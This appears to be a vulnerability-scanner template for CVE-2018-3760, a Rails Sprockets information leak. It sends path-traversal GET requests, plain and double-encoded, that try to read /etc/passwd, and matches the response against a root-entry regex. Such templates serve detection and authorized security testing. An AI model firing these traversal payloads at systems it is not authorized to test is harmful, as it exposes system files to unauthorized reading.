id: CVE-2018-3760 info: name: Rails Sprockets Information Leak risk: High params: - root: '{{.BaseURL}}' variables: - endpoint: | assets/ requests: - method: GET url: >- {{.root}}/{{.endpoint}}file:%2f%2f/etc/passwd headers: - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 detections: - >- StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:") - method: GET redirect: false url: >- {{.root}}/{{.endpoint}}/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd headers: - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 detections: - >- StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:") references: - https://www.cvebase.com/cve/2018/3760